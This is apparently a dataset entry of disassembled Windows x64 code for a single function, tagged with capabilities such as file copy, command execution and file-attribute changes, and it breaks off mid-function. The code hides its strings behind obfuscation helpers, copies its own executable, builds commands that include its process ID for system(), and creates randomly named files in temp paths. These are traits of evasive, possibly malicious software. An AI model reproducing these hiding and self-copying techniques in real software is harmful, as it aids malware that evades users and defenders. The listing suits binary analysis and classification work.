Function at 0x2319507d4
Capabilities:
Check if file exists
Copy file
Create process on windows
Delete file
Execute command
Get common file path
Get disk information
Query environment variable
Set console window title
Set current directory
Set file attributes

Disassembly:
push rbp
push rbx
mov eax, 0x3e38
call fcn.231966be0
sub rsp, rax
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x3dd0], ecx
mov qword [rbp + 0x3dd8], rdx
call dbg.__main
mov ecx, 0
call sym.time
mov ecx, eax
call sym.srand
mov rax, qword [sym.imp.USER32.dll_IsProcessDPIAware]
call rax
test eax, eax
sete al
test al, al
je 0x231950829
mov rax, qword [sym.imp.USER32.dll_SetProcessDPIAware]
call rax
lea rax, [rbp + 0xcb0]
mov rdx, rax
mov ecx, 0x104
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
call rax
lea rax, [rbp + 0xcb0]
mov rcx, rax
mov rax, qword [sym.imp.SHLWAPI.dll_PathRemoveBackslashA]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call rax
mov rcx, rax
lea rax, [rbp + 0xba0]
mov r8d, 0x104
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
call rax
lea rdx, [rbp + 0xba0]
lea rax, [rbp + 0xa90]
mov rcx, rax
call sym.strcpy
lea rdx, [rbp + 0xba0]
lea rax, [rbp + 0x980]
mov rcx, rax
call sym.strcpy
lea rax, [rbp + 0xa90]
mov rcx, rax
mov rax, qword [sym.imp.SHLWAPI.dll_PathStripPathA]
call rax
lea rax, [rbp + 0x980]
mov rcx, rax
mov rax, qword [sym.imp.SHLWAPI.dll_PathRemoveFileSpecA]
call rax
lea rax, [rbp + 0x980]
mov rcx, rax
mov rax, qword [sym.imp.SHLWAPI.dll_PathRemoveBackslashA]
call rax
lea rax, [rbp + 0x870]
mov rdx, rax
mov ecx, 0x104
mov rax, qword [sym.imp.KERNEL32.dll_GetTempPathA]
call rax
lea rax, [rbp + 0x870]
mov rcx, rax
mov rax, qword [sym.imp.SHLWAPI.dll_PathRemoveBackslashA]
call rax
lea rax, [rbp + 0x760]
mov edx, 0x104
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
call rax
lea rax, [rbp + 0x760]
mov rcx, rax
mov rax, qword [sym.imp.SHLWAPI.dll_PathRemoveBackslashA]
call rax
lea rax, [rbp + 0x650]
mov edx, 0x104
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
call rax
lea rax, [rbp + 0x650]
mov rcx, rax
mov rax, qword [sym.imp.SHLWAPI.dll_PathRemoveBackslashA]
call rax
lea rax, [rbp + 0x540]
mov qword [rsp + 0x20], rax
mov r9d, 0
mov r8d, 0
mov edx, 0x10
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
call rax
lea rax, [rbp + 0x540]
mov rcx, rax
mov rax, qword [sym.imp.SHLWAPI.dll_PathRemoveBackslashA]
call rax
lea rax, [rbp + 0x430]
mov qword [rsp + 0x20], rax
mov r9d, 0
mov r8d, 0
mov edx, 0x1c
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
call rax
lea rax, [rbp + 0x430]
mov rcx, rax
mov rax, qword [sym.imp.SHLWAPI.dll_PathRemoveBackslashA]
call rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_SetLastError]
call rax
cmp dword [rbp + 0x3dd0], 2
jle 0x231950a32
lea rax, [rbp + 0xdbf]
mov rcx, rax
call method.main.lambda__1::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_3ull__1120819961923323671ull__char_.operator_char__
mov rdx, rax
mov rax, qword [rbp + 0x3dd8]
add rax, 8
mov rax, qword [rax]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x231950a32
mov eax, 1
jmp 0x231950a37
mov eax, 0
test al, al
je 0x231955760
lea rax, [rbp + 0xdef]
mov qword [rbp + 0x3cb8], rax
nop
nop
mov rax, qword [rbp + 0x3dd8]
add rax, 0x10
mov rdx, qword [rax]
lea rcx, [rbp + 0xdef]
lea rax, [rbp + 0xdc0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0xdc0]
mov r8d, 0xa
mov edx, 0
mov rcx, rax
call method.std::__cxx11.stoi_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__unsigned_long_long__int_
lea rax, [rbp + 0xdc0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0xdef]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
call sym.f_ele__
test eax, eax
setne al
test al, al
je 0x231950cd2
lea rax, [rbp + 0xe3e]
mov qword [rbp + 0x3cb0], rax
nop
nop
lea rax, [rbp + 0xe3f]
mov rcx, rax
call method.main.lambda__3::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_9ull__5837073478768625971ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0xe3e]
lea rax, [rbp + 0xe10]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0xe8f]
mov qword [rbp + 0x3ca8], rax
nop
nop
lea rcx, [rbp + 0xe8f]
lea rdx, [rbp + 0xa90]
lea rax, [rbp + 0xe60]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0xede]
mov qword [rbp + 0x3ca0], rax
nop
nop
lea rax, [rbp + 0xedf]
mov rcx, rax
call method.main.lambda__2::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_6ull__5837073478768625971ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0xede]
lea rax, [rbp + 0xeb0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0xf09]
mov qword [rbp + 0x3c98], rax
nop
nop
lea rcx, [rbp + 0xf09]
lea rdx, [rbp + 0xa90]
lea rax, [rbp + 0xee0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0xe90]
lea rcx, [rbp + 0xeb0]
lea rdx, [rbp + 0xee0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0xe40]
lea rcx, [rbp + 0xe60]
lea rdx, [rbp + 0xe90]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0xdf0]
lea rcx, [rbp + 0xe10]
lea rdx, [rbp + 0xe40]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0xdf0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov r8d, 0
mov edx, 0x8000000
mov rcx, rax
call sym.f_cp_char__unsigned_long__int_
lea rax, [rbp + 0xdf0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0xe40]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0xe90]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0xee0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0xf09]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0xeb0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0xede]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0xe60]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0xe8f]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0xe10]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0xe3e]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
mov edx, 1
lea rax, [sym.f_kbsig_unsigned_long_]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
call rax
cmp dword [rbp + 0x3dd0], 4
jle 0x231950d2e
lea rax, [rbp + 0xf0a]
mov rcx, rax
call method.main.lambda__4::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_5ull__9061569466862358393ull__char_.operator_char__
mov rdx, rax
mov rax, qword [rbp + 0x3dd8]
add rax, 0x20
mov rax, qword [rax]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x231950d2e
mov eax, 1
jmp 0x231950d33
mov eax, 0
test al, al
je 0x231950d8a
lea rax, [rbp + 0xf0b]
mov rcx, rax
call method.main.lambda__5::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_12ull__17966520832510210957ull__char_.operator_char__
mov rdx, rax
mov rax, qword [0x231f64300]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov edx, 0
lea rax, [sym.f_kbsig_unsigned_long_]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
call rax
cmp dword [rbp + 0x3dd0], 3
jle 0x231950dce
lea rax, [rbp + 0xf0c]
mov rcx, rax
call method.main.lambda__6::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_4ull__2398008057564449583ull__char_.operator_char__
mov rdx, rax
mov rax, qword [rbp + 0x3dd8]
add rax, 0x18
mov rax, qword [rax]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x231950dce
mov eax, 1
jmp 0x231950dd3
mov eax, 0
test al, al
je 0x231950ee4
lea rax, [rbp + 0xf0d]
mov rcx, rax
call method.main.lambda__7::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_5ull__11901262418775712167ull__char_.operator_char__
mov rdx, rax
mov rax, qword [0x231f64300]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
lea rdx, [rbp + 0x430]
lea rax, [rbp + 0x980]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x2319510f2
cmp dword [rbp + 0x3dd0], 6
jle 0x231950e78
lea rax, [rbp + 0xf0e]
mov rcx, rax
call method.main.lambda__8::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_5ull__11618545568444391835ull__char_.operator_char__
mov rdx, rax
mov rax, qword [rbp + 0x3dd8]
add rax, 0x30
mov rax, qword [rax]
mov rcx, rax
call sym.strcmp
test eax, eax
jne 0x231950e78
mov eax, 1
jmp 0x231950e7d
mov eax, 0
test al, al
je 0x231950ec7
lea rax, [rbp + 0xf0f]
mov rcx, rax
call method.main.lambda__9::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_9ull__10598393950377302823ull__char_.operator_char__
mov rdx, rax
mov rax, qword [0x231f64300]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov rax, qword [sym.imp.KERNEL32.dll_AllocConsole]
call rax
jmp 0x231950ed0
mov rax, qword [sym.imp.KERNEL32.dll_FreeConsole]
call rax
mov edx, 1
mov ecx, 0xea60
call sym.f_slpc_unsigned_long__int_
jmp 0x2319510f2
mov edx, 0
mov ecx, 0x7d0
call sym.f_slpc_unsigned_long__int_
lea rax, [rbp + 0xf5e]
mov qword [rbp + 0x3c90], rax
nop
nop
lea rax, [rbp + 0xf5f]
mov rcx, rax
call method.main.lambda__11::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_12ull__16090633280377789223ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0xf5e]
lea rax, [rbp + 0xf30]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
call rax
mov edx, eax
lea rax, [rbp + 0xf80]
mov rcx, rax
call method.std::__cxx11.to_string_unsigned_long_
lea rax, [rbp + 0xfcb]
mov qword [rbp + 0x3c88], rax
nop
nop
lea rax, [rbp + 0xfcc]
mov rcx, rax
call method.main.lambda__10::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_16ull__16090633280377789223ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0xfcb]
lea rax, [rbp + 0xfa0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0xf60]
lea rcx, [rbp + 0xf80]
lea rdx, [rbp + 0xfa0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0xf10]
lea rcx, [rbp + 0xf30]
lea rdx, [rbp + 0xf60]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0xf10]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rcx, rax
call sym.system
test eax, eax
setne bl
lea rax, [rbp + 0xf10]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0xf60]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0xfa0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0xfcb]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0xf80]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0xf30]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0xf5e]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
test bl, bl
je 0x23195109e
lea rax, [rbp + 0xfcd]
mov rcx, rax
call method.main.lambda__12::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_23ull__11813792213996263693ull__char_.operator_char__
mov rdx, rax
mov rax, qword [0x231f64300]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
call sym.abort
lea rax, [rbp + 0xfce]
mov rcx, rax
call method.main.lambda__13::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_24ull__16825977380997662547ull__char_.operator_char__
mov rdx, rax
mov rax, qword [0x231f64300]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
mov edx, 0
mov ecx, 0x6ddd00
call sym.f_slpc_unsigned_long__int_
mov ebx, 0
jmp 0x231958bb3
lea rax, [rbp + 0xfcf]
mov rcx, rax
call method.main.lambda__14::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_6ull__10325923907251948473ull__char_.operator_char__
mov rdx, rax
mov rax, qword [0x231f64300]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rbx, rax
lea rax, [rbp + 0xfd0]
mov edx, dword [rbp + 0x3dd0]
mov rcx, rax
call method.std::__cxx11.to_string_int_
lea rax, [rbp + 0xfd0]
mov rdx, rax
mov rcx, rbx
call method.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std.allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
lea rax, [rbp + 0xfd0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov dword [rbp + 0x3dac], 0
jmp 0x23195123d
lea rax, [rbp + 0xfff]
mov rcx, rax
call method.main.lambda__15::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_5ull__16265713027980148721ull__char_.operator_char__
mov rdx, rax
mov rax, qword [0x231f64300]
mov rcx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rbx, rax
lea rax, [rbp + 0x1000]
mov edx, dword [rbp + 0x3dac]
mov rcx, rax
call method.std::__cxx11.to_string_int_
lea rax, [rbp + 0x1000]
mov rdx, rax
mov rcx, rbx
call method.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std.allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char
mov rbx, rax
lea rax, [rbp + 0x102a]
mov rcx, rax
call method.main.lambda__16::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_2ull__16265713027980148721ull__char_.operator_char__
mov rdx, rax
mov rcx, rbx
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov eax, dword [rbp + 0x3dac]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x3dd8]
add rax, rdx
mov rax, qword [rax]
mov rdx, rax
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov rcx, rax
mov rax, qword [method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____]
mov rdx, rax
call method.std::ostream.operator___std::ostream____std::ostream__
lea rax, [rbp + 0x1000]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
add dword [rbp + 0x3dac], 1
mov eax, dword [rbp + 0x3dac]
cmp eax, dword [rbp + 0x3dd0]
jl 0x231951175
lea rax, [rbp + 0x102b]
mov rcx, rax
call method.main.lambda__17::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_12ull__10646473672096041913ull__char_.operator_char__
mov rcx, rax
lea rax, [rbp + 0x210]
mov r8d, 0x104
mov rdx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
call rax
lea rax, [rbp + 0x102c]
mov rcx, rax
call method.main.lambda__18::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_12ull__4279898652246888857ull__char_.operator_char__
mov rdx, rax
lea rax, [rbp + 0x210]
mov rcx, rax
call sym.strcmp
test eax, eax
sete al
test al, al
je 0x23195130b
lea rax, [rbp + 0x102d]
mov rcx, rax
call method.main.lambda__19::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_11ull__3418134428632838043ull__char_.operator_char__
mov rdx, rax
lea rax, [rbp + 0x100]
mov rcx, rax
call sym.strcpy
lea rax, [rbp + 0x102e]
mov rcx, rax
call method.main.lambda__20::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_3ull__836881711043167677ull__char_.operator_char__
mov rdx, rax
lea rax, [rbp + 0x210]
mov rcx, rax
call sym.strcpy
jmp 0x2319513b4
lea rdx, [rbp + 0x210]
lea rax, [rbp + 0x320]
mov rcx, rax
call sym.strcpy
lea rax, [rbp + 0x320]
mov rcx, rax
mov rax, qword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
call rax
lea rdx, [rbp + 0x100]
lea rax, [rbp + 0x320]
mov dword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0x104
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
call rax
lea rax, [rbp + 0x100]
movzx eax, byte [rax]
test al, al
jne 0x2319513b4
lea rax, [rbp + 0x102f]
mov rcx, rax
call method.main.lambda__21::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_11ull__17275152799774492443ull__char_.operator_char__
mov rdx, rax
lea rax, [rbp + 0x100]
mov rcx, rax
call sym.strcpy
lea rax, [rbp + 0x210]
mov rcx, rax
mov rax, qword [sym.imp.SHLWAPI.dll_PathRemoveBackslashA]
call rax
lea rax, [rbp + 0x870]
mov rcx, rax
mov rax, qword [sym.imp.SHLWAPI.dll_PathAddBackslashA]
call rax
lea rax, [rbp + 0x105e]
mov qword [rbp + 0x3c80], rax
nop
nop
lea rax, [rbp + 0x105f]
mov rcx, rax
call method.main.lambda__22::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_6ull__17094935359668065671ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x105e]
lea rax, [rbp + 0x1030]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x108f]
mov qword [rbp + 0x3c78], rax
nop
nop
lea rcx, [rbp + 0x108f]
lea rdx, [rbp + 0x870]
lea rax, [rbp + 0x1060]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rdx, [rbp + 0x1030]
lea rax, [rbp + 0x1060]
mov rcx, rax
call sym.f_dwc_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x1060]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x108f]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0x1030]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x105e]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0x10be]
mov qword [rbp + 0x3c70], rax
nop
nop
lea rax, [rbp + 0x10bf]
mov rcx, rax
call method.main.lambda__24::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_5ull__7047429055349739379ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x10be]
lea rax, [rbp + 0x1090]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
call sym.rand
mov edx, eax
lea rax, [rbp + 0x10e0]
mov rcx, rax
call method.std::__cxx11.to_string_int_
lea rax, [rbp + 0x114e]
mov qword [rbp + 0x3c68], rax
nop
nop
lea rax, [rbp + 0x114f]
mov rcx, rax
call method.main.lambda__23::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_3ull__7047429055349739379ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x114e]
lea rax, [rbp + 0x1120]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x117f]
mov qword [rbp + 0x3c60], rax
nop
nop
lea rcx, [rbp + 0x117f]
lea rdx, [rbp + 0x870]
lea rax, [rbp + 0x1150]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x1100]
lea rcx, [rbp + 0x1120]
lea rdx, [rbp + 0x1150]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x10c0]
lea rcx, [rbp + 0x10e0]
lea rdx, [rbp + 0x1100]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp - 0x40]
lea rcx, [rbp + 0x1090]
lea rdx, [rbp + 0x10c0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x10c0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1100]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1150]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x117f]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0x1120]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x114e]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0x10e0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1090]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x10be]
mov rcx, rax
call method.std::__new_allocator_char_.__new_allocator__
nop
lea rax, [rbp + 0x11ae]
mov qword [rbp + 0x3c58], rax
nop
nop
lea rax, [rbp + 0x11af]
mov rcx, rax
call method.main.lambda__26::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_5ull__3976666444174011887ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x11ae]
lea rax, [rbp + 0x1180]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
call sym.rand
mov edx, eax
lea rax, [rbp + 0x11d0]
mov rcx, rax
call method.std::__cxx11.to_string_int_
lea rax, [rbp + 0x123e]
mov qword [rbp + 0x3c50], rax
nop
nop
lea rax, [rbp + 0x123f]
mov rcx, rax
call method.main.lambda__25::operator_____const
mov rcx, rax
call method.ay::obfuscated_data_3ull__3976666444174011887ull__char_.operator_char__
mov rdx, rax
lea rcx, [rbp + 0x123e]
lea rax, [rbp + 0x1210]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x126e]
mov qword [rbp + 0x3c48], rax
nop
nop
